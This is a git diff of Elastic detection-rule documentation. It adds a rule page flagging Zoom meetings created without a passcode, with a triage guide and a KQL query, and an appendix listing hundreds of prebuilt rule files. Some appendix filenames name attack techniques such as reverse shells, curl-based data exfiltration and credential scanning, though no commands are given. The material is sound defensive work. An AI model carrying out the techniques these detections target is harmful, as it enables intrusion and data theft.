+This rule identifies Zoom meetings that are created without a passcode. Meetings without a passcode are susceptible to Zoombombing. Zoombombing is carried out by taking advantage of Zoom sessions that are not protected with a passcode. Zoombombing refers to the unwanted, disruptive intrusion, generally by Internet trolls and hackers, into a video conference call. In a typical Zoombombing incident, a teleconferencing session is hijacked by the insertion of material that is lewd, obscene, racist, or antisemitic in nature, typically resulting of the shutdown of the session. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.zoom.us/a-message-to-our-users/ +* https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic + +*Tags*: + +* Data Source: Zoom +* Use Case: Configuration Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 105 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Zoom Meeting with no Passcode* + + +Zoom meetings without passcodes are vulnerable to unauthorized access, known as Zoombombing, where intruders disrupt sessions with inappropriate content. Adversaries exploit this by joining unsecured meetings to cause chaos or gather sensitive information. The detection rule identifies such meetings by monitoring Zoom event logs for sessions created without a passcode, helping to mitigate potential security breaches. + + +*Possible investigation steps* + + +- Review the Zoom event logs to identify the specific meeting details, including the meeting ID and the organizer's information, using the fields event.type, event.module, event.dataset, and event.action. +- Contact the meeting organizer to verify if the meeting was intentionally created without a passcode and understand the context or purpose of the meeting. +- Check for any unusual or unauthorized participants who joined the meeting by examining the participant logs associated with the meeting ID. +- Assess if any sensitive information was discussed or shared during the meeting that could have been exposed to unauthorized participants. +- Evaluate the need to implement additional security measures, such as enabling passcodes for all future meetings or using waiting rooms to control participant access. + + +*False positive analysis* + + +- Internal team meetings may be scheduled without a passcode for convenience, especially if all participants are within a secure network. To handle this, create exceptions for meetings initiated by trusted internal users or within specific IP ranges. +- Recurring meetings with a consistent group of participants might not use passcodes to simplify access. Consider excluding these meetings by identifying and whitelisting their unique meeting IDs. +- Training sessions or webinars intended for a broad audience might be set up without passcodes to ease access. Implement a policy to review and approve such meetings in advance, ensuring they are legitimate and necessary. +- Meetings created by automated systems or bots for integration purposes may not require passcodes. Identify these systems and exclude their meeting creation events from triggering alerts. +- In some cases, meetings may be intentionally left without passcodes for public access, such as community events. Establish a process to verify and document these events, allowing them to be excluded from the rule. + + +*Response and remediation* + + +- Immediately terminate any ongoing Zoom meetings identified without a passcode to prevent further unauthorized access or disruption. +- Notify the meeting host and relevant stakeholders about the security incident, advising them to reschedule the meeting with appropriate security measures, such as enabling a passcode or waiting room. +- Review and update Zoom account settings to enforce mandatory passcodes for all future meetings, ensuring compliance with security policies. +- Conduct a security audit of recent Zoom meetings to identify any other sessions that may have been created without a passcode and take corrective actions as necessary. +- Escalate the incident to the IT security team for further investigation and to assess any potential data breaches or information leaks resulting from the unauthorized access. +- Implement enhanced monitoring and alerting for Zoom meeting creation events to quickly detect and respond to any future instances of meetings being set up without passcodes. +- Coordinate with the communications team to prepare a response plan for any potential public relations issues arising from the incident, ensuring clear and consistent messaging. + +==== Setup + + + +*Setup* + + +The Zoom Filebeat module or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.type:creation and event.module:zoom and event.dataset:zoom.webhook and + event.action:meeting.created and not zoom.meeting.password:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rules-8-19-20-appendix.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rules-8-19-20-appendix.asciidoc new file mode 100644 index 0000000000..b9568da7c6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rules-8-19-20-appendix.asciidoc @@ -0,0 +1,992 @@ +["appendix",role="exclude",id="prebuilt-rule-8-19-20-prebuilt-rules-8-19-20-appendix"] += Downloadable rule update v8.19.20 + +This section lists all updates associated with version 8.19.20 of the Fleet integration *Prebuilt Security Detection Rules*. + + +include::prebuilt-rule-8-19-20-aws-iam-long-term-access-key-first-seen-from-source-ip.asciidoc[] +include::prebuilt-rule-8-19-20-connection-to-common-large-language-model-endpoints.asciidoc[] +include::prebuilt-rule-8-19-20-curl-or-wget-spawned-via-node-js.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-file-downloaded-from-google-drive.asciidoc[] +include::prebuilt-rule-8-19-20-panw-and-elastic-defend-command-and-control-correlation.asciidoc[] +include::prebuilt-rule-8-19-20-suricata-and-elastic-defend-network-correlation.asciidoc[] +include::prebuilt-rule-8-19-20-potential-traffic-tunneling-using-qemu.asciidoc[] +include::prebuilt-rule-8-19-20-genai-process-accessing-sensitive-files.asciidoc[] +include::prebuilt-rule-8-19-20-potential-secret-scanning-via-gitleaks.asciidoc[] +include::prebuilt-rule-8-19-20-credential-access-via-trufflehog-execution.asciidoc[] +include::prebuilt-rule-8-19-20-agent-spoofing-multiple-hosts-using-same-agent.asciidoc[] +include::prebuilt-rule-8-19-20-data-encrypted-via-openssl-utility.asciidoc[] +include::prebuilt-rule-8-19-20-webserver-access-logs-deleted.asciidoc[] +include::prebuilt-rule-8-19-20-elastic-agent-service-terminated.asciidoc[] +include::prebuilt-rule-8-19-20-rot-encoded-python-script-execution.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-process-modifying-genai-configuration-file.asciidoc[] +include::prebuilt-rule-8-19-20-genai-process-compiling-or-generating-executables.asciidoc[] +include::prebuilt-rule-8-19-20-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc[] +include::prebuilt-rule-8-19-20-masquerading-space-after-filename.asciidoc[] +include::prebuilt-rule-8-19-20-command-line-obfuscation-via-whitespace-padding.asciidoc[] +include::prebuilt-rule-8-19-20-virtual-machine-fingerprinting-via-grep.asciidoc[] +include::prebuilt-rule-8-19-20-aws-ec2-lolbin-execution-via-ssm-sendcommand.asciidoc[] +include::prebuilt-rule-8-19-20-aws-ssm-sendcommand-with-run-shell-command-parameters.asciidoc[] +include::prebuilt-rule-8-19-20-potential-git-cve-2025-48384-exploitation.asciidoc[] +include::prebuilt-rule-8-19-20-node-js-pre-or-post-install-script-execution.asciidoc[] +include::prebuilt-rule-8-19-20-execution-via-openclaw-agent.asciidoc[] +include::prebuilt-rule-8-19-20-privileged-container-creation-with-host-directory-mount.asciidoc[] +include::prebuilt-rule-8-19-20-remote-github-actions-runner-registration.asciidoc[] +include::prebuilt-rule-8-19-20-potential-reverse-shell-activity-via-terminal.asciidoc[] +include::prebuilt-rule-8-19-20-potential-sap-netweaver-webshell-creation.asciidoc[] +include::prebuilt-rule-8-19-20-potential-sap-netweaver-exploitation.asciidoc[] +include::prebuilt-rule-8-19-20-potential-java-jndi-exploitation-attempt.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-python-shell-command-execution.asciidoc[] +include::prebuilt-rule-8-19-20-execution-via-github-actions-runner.asciidoc[] +include::prebuilt-rule-8-19-20-tampering-with-runner-tracking-id-in-github-actions-runners.asciidoc[] +include::prebuilt-rule-8-19-20-potential-data-exfiltration-through-curl.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-react-server-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-initial-access-via-file-upload-followed-by-get-request.asciidoc[] +include::prebuilt-rule-8-19-20-ollama-api-accessed-from-external-network.asciidoc[] +include::prebuilt-rule-8-19-20-zoom-meeting-with-no-passcode.asciidoc[] +include::prebuilt-rule-8-19-20-correlated-alerts-on-similar-user-identities.asciidoc[] +include::prebuilt-rule-8-19-20-web-server-potential-command-injection-request.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privilege-escalation-via-sudoers-file-modification.asciidoc[] +include::prebuilt-rule-8-19-20-suid-sgid-bit-set.asciidoc[] +include::prebuilt-rule-8-19-20-deprecated-sudo-heap-based-buffer-overflow-attempt.asciidoc[] +include::prebuilt-rule-8-19-20-sudoers-file-activity.asciidoc[] +include::prebuilt-rule-8-19-20-trap-signals-execution.asciidoc[] +include::prebuilt-rule-8-19-20-aws-cloudtrail-log-created.asciidoc[] +include::prebuilt-rule-8-19-20-aws-s3-unauthenticated-bucket-access-by-rare-source.asciidoc[] +include::prebuilt-rule-8-19-20-aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role.asciidoc[] +include::prebuilt-rule-8-19-20-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc[] +include::prebuilt-rule-8-19-20-aws-iam-user-addition-to-group.asciidoc[] +include::prebuilt-rule-8-19-20-aws-secrets-manager-rapid-secrets-retrieval.asciidoc[] +include::prebuilt-rule-8-19-20-aws-management-console-brute-force-of-root-user-identity.asciidoc[] +include::prebuilt-rule-8-19-20-aws-cloudtrail-log-deleted.asciidoc[] +include::prebuilt-rule-8-19-20-aws-cloudtrail-log-suspended.asciidoc[] +include::prebuilt-rule-8-19-20-aws-ec2-serial-console-access-enabled.asciidoc[] +include::prebuilt-rule-8-19-20-aws-rds-db-instance-restored.asciidoc[] +include::prebuilt-rule-8-19-20-aws-s3-bucket-configuration-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-aws-sqs-queue-purge.asciidoc[] +include::prebuilt-rule-8-19-20-insecure-aws-ec2-vpc-security-group-ingress-rule-added.asciidoc[] +include::prebuilt-rule-8-19-20-aws-iam-principal-enumeration-via-updateassumerolepolicy.asciidoc[] +include::prebuilt-rule-8-19-20-aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc[] +include::prebuilt-rule-8-19-20-aws-sts-getcalleridentity-api-called-for-the-first-time.asciidoc[] +include::prebuilt-rule-8-19-20-aws-service-quotas-multi-region-getservicequota-requests.asciidoc[] +include::prebuilt-rule-8-19-20-aws-ssm-inventory-reconnaissance-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-20-aws-cloudshell-environment-created.asciidoc[] +include::prebuilt-rule-8-19-20-aws-lambda-layer-added-to-existing-function.asciidoc[] +include::prebuilt-rule-8-19-20-first-time-aws-cloudformation-stack-creation.asciidoc[] +include::prebuilt-rule-8-19-20-aws-dynamodb-scan-by-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-20-aws-dynamodb-table-exported-to-s3.asciidoc[] +include::prebuilt-rule-8-19-20-aws-ec2-export-task.asciidoc[] +include::prebuilt-rule-8-19-20-aws-ec2-full-network-packet-capture-detected.asciidoc[] +include::prebuilt-rule-8-19-20-aws-rds-snapshot-export.asciidoc[] +include::prebuilt-rule-8-19-20-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc[] +include::prebuilt-rule-8-19-20-aws-s3-bucket-replicated-to-another-account.asciidoc[] +include::prebuilt-rule-8-19-20-aws-api-activity-from-uncommon-s3-client-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-20-aws-sns-rare-protocol-subscription-by-user.asciidoc[] +include::prebuilt-rule-8-19-20-aws-eventbridge-rule-disabled-or-deleted.asciidoc[] +include::prebuilt-rule-8-19-20-aws-s3-bucket-enumeration-or-brute-force.asciidoc[] +include::prebuilt-rule-8-19-20-aws-cloudtrail-log-updated.asciidoc[] +include::prebuilt-rule-8-19-20-aws-cloudwatch-log-group-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-aws-cloudwatch-log-stream-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-aws-ec2-encryption-disabled.asciidoc[] +include::prebuilt-rule-8-19-20-aws-ec2-ebs-snapshot-access-removed.asciidoc[] +include::prebuilt-rule-8-19-20-aws-iam-deactivation-of-mfa-device.asciidoc[] +include::prebuilt-rule-8-19-20-aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-aws-rds-db-instance-or-cluster-deletion-protection-disabled.asciidoc[] +include::prebuilt-rule-8-19-20-aws-rds-snapshot-deleted.asciidoc[] +include::prebuilt-rule-8-19-20-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc[] +include::prebuilt-rule-8-19-20-aws-s3-static-site-javascript-file-uploaded.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-aws-s3-object-encryption-with-sse-c.asciidoc[] +include::prebuilt-rule-8-19-20-aws-sign-in-root-password-recovery-requested.asciidoc[] +include::prebuilt-rule-8-19-20-aws-suspicious-user-agent-fingerprint.asciidoc[] +include::prebuilt-rule-8-19-20-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc[] +include::prebuilt-rule-8-19-20-aws-ec2-instance-console-login-via-assumed-role.asciidoc[] +include::prebuilt-rule-8-19-20-aws-sns-topic-message-publish-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-city-for-an-aws-command.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-aws-command-for-a-user.asciidoc[] +include::prebuilt-rule-8-19-20-aws-ec2-network-access-control-list-creation.asciidoc[] +include::prebuilt-rule-8-19-20-aws-ec2-route-table-modified-or-deleted.asciidoc[] +include::prebuilt-rule-8-19-20-aws-ec2-security-group-configuration-change.asciidoc[] +include::prebuilt-rule-8-19-20-aws-iam-login-profile-added-for-root.asciidoc[] +include::prebuilt-rule-8-19-20-aws-iam-oidc-provider-created-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-20-aws-iam-roles-anywhere-profile-creation.asciidoc[] +include::prebuilt-rule-8-19-20-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc[] +include::prebuilt-rule-8-19-20-aws-iam-saml-provider-created.asciidoc[] +include::prebuilt-rule-8-19-20-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc[] +include::prebuilt-rule-8-19-20-aws-rds-db-instance-or-cluster-password-modified.asciidoc[] +include::prebuilt-rule-8-19-20-aws-rds-db-instance-made-public.asciidoc[] +include::prebuilt-rule-8-19-20-aws-route-53-domain-transfer-lock-disabled.asciidoc[] +include::prebuilt-rule-8-19-20-aws-route-53-private-hosted-zone-associated-with-a-vpc.asciidoc[] +include::prebuilt-rule-8-19-20-aws-ec2-route-table-created.asciidoc[] +include::prebuilt-rule-8-19-20-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc[] +include::prebuilt-rule-8-19-20-aws-sts-assumerole-with-new-mfa-device.asciidoc[] +include::prebuilt-rule-8-19-20-aws-iam-saml-provider-updated.asciidoc[] +include::prebuilt-rule-8-19-20-aws-sts-role-assumption-by-service.asciidoc[] +include::prebuilt-rule-8-19-20-aws-sts-role-assumption-by-user.asciidoc[] +include::prebuilt-rule-8-19-20-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc[] +include::prebuilt-rule-8-19-20-aws-sts-role-chaining.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-sharepoint-or-onedrive-accessed-by-unusual-client.asciidoc[] +include::prebuilt-rule-8-19-20-microsoft-graph-request-email-access-by-unusual-user-and-client.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-oauth-device-code-flow-with-concurrent-sign-ins.asciidoc[] +include::prebuilt-rule-8-19-20-azure-service-principal-sign-in-followed-by-arc-cluster-credential-access.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-concurrent-sign-in-with-suspicious-properties.asciidoc[] +include::prebuilt-rule-8-19-20-azure-key-vault-excessive-secret-or-key-retrieved.asciidoc[] +include::prebuilt-rule-8-19-20-azure-vnet-full-network-packet-capture-enabled.asciidoc[] +include::prebuilt-rule-8-19-20-azure-automation-runbook-deleted.asciidoc[] +include::prebuilt-rule-8-19-20-azure-event-hub-deleted.asciidoc[] +include::prebuilt-rule-8-19-20-azure-kubernetes-services-aks-kubernetes-events-deleted.asciidoc[] +include::prebuilt-rule-8-19-20-azure-vnet-network-watcher-deleted.asciidoc[] +include::prebuilt-rule-8-19-20-azure-diagnostic-settings-alert-suppression-rule-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-20-azure-automation-runbook-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-20-azure-storage-blob-retrieval-via-azcopy.asciidoc[] +include::prebuilt-rule-8-19-20-azure-key-vault-modified.asciidoc[] +include::prebuilt-rule-8-19-20-azure-resource-group-deleted.asciidoc[] +include::prebuilt-rule-8-19-20-azure-arc-cluster-credential-access-by-identity-from-unusual-source.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-actor-token-user-impersonation-abuse.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-oauth-device-code-grant-by-microsoft-authentication-broker.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-external-guest-user-invited.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-oauth-device-code-grant-by-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-oauth-user-impersonation-to-microsoft-graph.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-illicit-consent-grant-via-registered-application.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-oauth-authorization-code-grant-for-unusual-user-app-and-resource.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-oauth-phishing-via-first-party-microsoft-application.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-protection-alerts-for-user-detected.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-protection-admin-confirmed-compromise.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-user-sign-in-with-unusual-client.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-user-sign-in-with-unusual-authentication-type.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-service-principal-with-unusual-source-asn.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-oauth-flow-by-microsoft-authentication-broker-to-device-registration-service-drs.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-oauth-ropc-grant-login-detected.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-user-reported-suspicious-activity.asciidoc[] +include::prebuilt-rule-8-19-20-microsoft-graph-request-user-impersonation-by-unusual-client.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-application-credential-modified.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-conditional-access-policy-cap-modified.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-global-administrator-role-assigned.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-mfa-disabled-for-user.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-global-administrator-role-assigned-pim-user.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-privileged-identity-management-pim-role-modified.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-oauth-prt-issuance-to-non-managed-device-detected.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-service-principal-credentials-created-by-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-adrs-token-request-by-microsoft-authentication-broker.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-unusual-cloud-device-registration.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-user-added-as-registered-application-owner.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-user-added-as-service-principal-owner.asciidoc[] +include::prebuilt-rule-8-19-20-azure-event-hub-authorization-rule-created-or-updated.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-external-authentication-methods-eam-modified.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-protection-user-alert-and-device-registration.asciidoc[] +include::prebuilt-rule-8-19-20-azure-rbac-built-in-administrator-roles-assigned.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-elevated-access-to-user-access-administrator.asciidoc[] +include::prebuilt-rule-8-19-20-entra-id-domain-federation-configuration-change.asciidoc[] +include::prebuilt-rule-8-19-20-azure-kubernetes-services-aks-kubernetes-rolebindings-created.asciidoc[] +include::prebuilt-rule-8-19-20-statistical-model-detected-c2-beaconing-activity.asciidoc[] +include::prebuilt-rule-8-19-20-statistical-model-detected-c2-beaconing-activity-with-high-confidence.asciidoc[] +include::prebuilt-rule-8-19-20-cyberark-privileged-access-security-recommended-monitor.asciidoc[] +include::prebuilt-rule-8-19-20-potential-data-exfiltration-activity-to-an-unusual-destination-port.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-bytes-sent-to-an-external-device.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-bytes-sent-to-an-external-device-via-airdrop.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-process-writing-data-to-an-external-device.asciidoc[] +include::prebuilt-rule-8-19-20-machine-learning-detected-dga-activity-using-a-known-sunburst-dns-domain.asciidoc[] +include::prebuilt-rule-8-19-20-potential-dga-activity.asciidoc[] +include::prebuilt-rule-8-19-20-machine-learning-detected-a-dns-request-with-a-high-dga-probability-score.asciidoc[] +include::prebuilt-rule-8-19-20-machine-learning-detected-a-dns-request-predicted-to-be-a-dga-domain.asciidoc[] +include::prebuilt-rule-8-19-20-potential-persistence-via-file-modification.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-pub-sub-subscription-creation.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-pub-sub-topic-creation.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-firewall-rule-creation.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-firewall-rule-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-firewall-rule-modification.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-logging-bucket-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-logging-sink-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-pub-sub-subscription-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-pub-sub-topic-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-storage-bucket-configuration-modification.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-storage-bucket-permissions-modification.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-virtual-private-cloud-network-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-virtual-private-cloud-route-creation.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-virtual-private-cloud-route-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-logging-sink-modification.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-iam-custom-role-creation.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-iam-service-account-key-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-service-account-key-creation.asciidoc[] +include::prebuilt-rule-8-19-20-gcp-service-account-creation.asciidoc[] +include::prebuilt-rule-8-19-20-github-app-deleted.asciidoc[] +include::prebuilt-rule-8-19-20-high-number-of-cloned-github-repos-from-pat.asciidoc[] +include::prebuilt-rule-8-19-20-new-github-app-installed.asciidoc[] +include::prebuilt-rule-8-19-20-github-exfiltration-via-high-number-of-repository-clones-by-user.asciidoc[] +include::prebuilt-rule-8-19-20-github-activity-on-a-private-repository-from-an-unusual-ip.asciidoc[] +include::prebuilt-rule-8-19-20-high-number-of-closed-pull-requests-by-user.asciidoc[] +include::prebuilt-rule-8-19-20-several-failed-protected-branch-force-pushes-by-user.asciidoc[] +include::prebuilt-rule-8-19-20-github-actions-unusual-bot-push-to-repository.asciidoc[] +include::prebuilt-rule-8-19-20-github-actions-workflow-modification-blocked.asciidoc[] +include::prebuilt-rule-8-19-20-new-github-self-hosted-action-runner.asciidoc[] +include::prebuilt-rule-8-19-20-new-github-owner-added.asciidoc[] +include::prebuilt-rule-8-19-20-new-github-personal-access-token-pat-added.asciidoc[] +include::prebuilt-rule-8-19-20-github-owner-role-granted-to-user.asciidoc[] +include::prebuilt-rule-8-19-20-google-drive-ownership-transferred-via-google-workspace.asciidoc[] +include::prebuilt-rule-8-19-20-google-workspace-drive-encryption-key-s-accessed-from-anonymous-user.asciidoc[] +include::prebuilt-rule-8-19-20-application-removed-from-blocklist-in-google-workspace.asciidoc[] +include::prebuilt-rule-8-19-20-domain-added-to-google-workspace-trusted-domains.asciidoc[] +include::prebuilt-rule-8-19-20-google-workspace-bitlocker-setting-disabled.asciidoc[] +include::prebuilt-rule-8-19-20-first-time-seen-google-workspace-oauth-login-from-third-party-application.asciidoc[] +include::prebuilt-rule-8-19-20-google-workspace-restrictions-for-marketplace-modified-to-allow-any-app.asciidoc[] +include::prebuilt-rule-8-19-20-google-workspace-admin-role-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-google-workspace-mfa-enforcement-disabled.asciidoc[] +include::prebuilt-rule-8-19-20-external-user-added-to-google-workspace-group.asciidoc[] +include::prebuilt-rule-8-19-20-google-workspace-suspended-user-account-renewed.asciidoc[] +include::prebuilt-rule-8-19-20-google-workspace-object-copied-to-external-drive-with-app-consent.asciidoc[] +include::prebuilt-rule-8-19-20-application-added-to-google-workspace-domain.asciidoc[] +include::prebuilt-rule-8-19-20-google-workspace-2sv-policy-disabled.asciidoc[] +include::prebuilt-rule-8-19-20-google-workspace-admin-role-assigned-to-a-user.asciidoc[] +include::prebuilt-rule-8-19-20-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc[] +include::prebuilt-rule-8-19-20-google-workspace-custom-admin-role-created.asciidoc[] +include::prebuilt-rule-8-19-20-google-workspace-password-policy-modified.asciidoc[] +include::prebuilt-rule-8-19-20-google-workspace-role-modified.asciidoc[] +include::prebuilt-rule-8-19-20-google-workspace-user-organizational-unit-changed.asciidoc[] +include::prebuilt-rule-8-19-20-mfa-disabled-for-google-workspace-organization.asciidoc[] +include::prebuilt-rule-8-19-20-kubernetes-secret-or-configmap-access-via-azure-arc-proxy.asciidoc[] +include::prebuilt-rule-8-19-20-kubernetes-secret-access-via-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-20-kubernetes-potential-endpoint-permission-enumeration-attempt-by-anonymous-user-detected.asciidoc[] +include::prebuilt-rule-8-19-20-kubernetes-suspicious-self-subject-review-via-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-20-kubernetes-anonymous-user-create-update-patch-pods-request.asciidoc[] +include::prebuilt-rule-8-19-20-kubernetes-forbidden-request-from-unusual-user-agent.asciidoc[] +include::prebuilt-rule-8-19-20-kubernetes-unusual-decision-by-user-agent.asciidoc[] +include::prebuilt-rule-8-19-20-kubernetes-exposed-service-created-with-type-nodeport.asciidoc[] +include::prebuilt-rule-8-19-20-kubernetes-container-created-with-excessive-linux-capabilities.asciidoc[] +include::prebuilt-rule-8-19-20-kubernetes-sensitive-rbac-change-followed-by-workload-modification.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-kubernetes-sensitive-workload-modification.asciidoc[] +include::prebuilt-rule-8-19-20-kubernetes-service-account-modified-rbac-objects.asciidoc[] +include::prebuilt-rule-8-19-20-high-mean-of-process-arguments-in-an-rdp-session.asciidoc[] +include::prebuilt-rule-8-19-20-high-mean-of-rdp-session-duration.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-remote-file-size.asciidoc[] +include::prebuilt-rule-8-19-20-high-variance-in-rdp-session-duration.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-remote-file-directory.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-remote-file-extension.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-number-of-connections-made-from-a-source-ip.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-number-of-connections-made-to-a-destination-ip.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-number-of-processes-in-an-rdp-session.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-remote-file-transfers.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-time-or-day-for-an-rdp-session.asciidoc[] +include::prebuilt-rule-8-19-20-m365-onedrive-sharepoint-excessive-file-downloads.asciidoc[] +include::prebuilt-rule-8-19-20-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-20-m365-identity-user-account-lockouts.asciidoc[] +include::prebuilt-rule-8-19-20-m365-identity-oauth-flow-by-first-party-microsoft-app-from-multiple-ips.asciidoc[] +include::prebuilt-rule-8-19-20-m365-exchange-anti-phish-policy-deleted.asciidoc[] +include::prebuilt-rule-8-19-20-m365-exchange-dkim-signing-configuration-disabled.asciidoc[] +include::prebuilt-rule-8-19-20-deprecated-m365-exchange-dlp-policy-deleted.asciidoc[] +include::prebuilt-rule-8-19-20-m365-exchange-email-safe-link-policy-disabled.asciidoc[] +include::prebuilt-rule-8-19-20-m365-exchange-mailbox-audit-logging-bypass-added.asciidoc[] +include::prebuilt-rule-8-19-20-m365-exchange-malware-filter-policy-deleted.asciidoc[] +include::prebuilt-rule-8-19-20-m365-exchange-malware-filter-rule-modified.asciidoc[] +include::prebuilt-rule-8-19-20-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc[] +include::prebuilt-rule-8-19-20-m365-exchange-email-safe-attachment-rule-disabled.asciidoc[] +include::prebuilt-rule-8-19-20-m365-exchange-mfa-notification-email-deleted-or-moved.asciidoc[] +include::prebuilt-rule-8-19-20-m365-sharepoint-site-sharing-policy-weakened.asciidoc[] +include::prebuilt-rule-8-19-20-m365-teams-custom-application-interaction-enabled.asciidoc[] +include::prebuilt-rule-8-19-20-deprecated-m365-teams-external-access-enabled.asciidoc[] 